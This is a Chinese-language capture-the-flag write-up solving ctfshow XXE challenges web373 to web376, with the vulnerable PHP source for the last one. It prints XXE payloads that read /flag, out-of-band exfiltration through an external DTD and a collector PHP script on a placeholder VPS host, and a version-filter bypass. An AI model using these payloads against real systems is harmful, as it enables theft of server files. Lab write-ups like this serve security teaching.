ctfshow靶场web入门XXE
1、web373
首先来到题目界面,我们看到的是源码:
通过分析知道,我们 最后输出的是储存在$ctfshow中的内容,所以,我们后续的操作目的就是将flag中的内容导入到ctfshow之中所以我们构造:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [<!ENTITY goodies SYSTEM "file:///flag">]>
<creds>
<ctfshow>&goodies;</ctfshow>
</creds>
随后我们进行抓包,将代码输入之后,我们就可以得到
2、web374
我们看到进来后,源码里面没有了echo $ctfshow,所以这道题的解决方式会有所不同
我们通过vps在服务器上构造两个文件:
首先1.php,将得到的东西转入其他文件:
<?php
file_put_contents("test.txt", $_GET['file']) ;
?>
之后构造xxe.xml:
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://<vps-ip>/1.php?file=%file;'> ">
%dtd;
%xxe;
记得在服务器中建立一个叫test.txt的文件,这样一来我们就可以实现。
<vps-ip>
是用来提醒的,你要把这里改成你自己的服务器的公网ip
这样我们通过burpside抓包之后输入payload:
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://<vps-ip>/xxe.xml">
%aaa;
]>
<root>123</root>
我们就可以得到base64加密之后的flag之后后找一个base64解码的工具解码即可。
准确的说,我们将文件转入的不是简单的服务器的目录之下,我们首先要建立的是与域名一致的网页,通过宝塔,我们将文件载入到这个根目录之下的文件中,既可。
3、web375
之后我们来看web375,我们发现,这里对于xml,version=1或0进行了过滤,此时我们就需要通过utf-16编码之后payload即可:
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://<vps-ip>/xxe.dtd">
%aaa;
]>
<root>123</root>
修改在于将xml文件修改为dtd文件二者的功能导致了他们的后缀名在此处可以互换,而且起到的作用一致。
4、web376
此时看到,代码进行了大小写转换和xml,version=1或0,只需要修改payload:
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);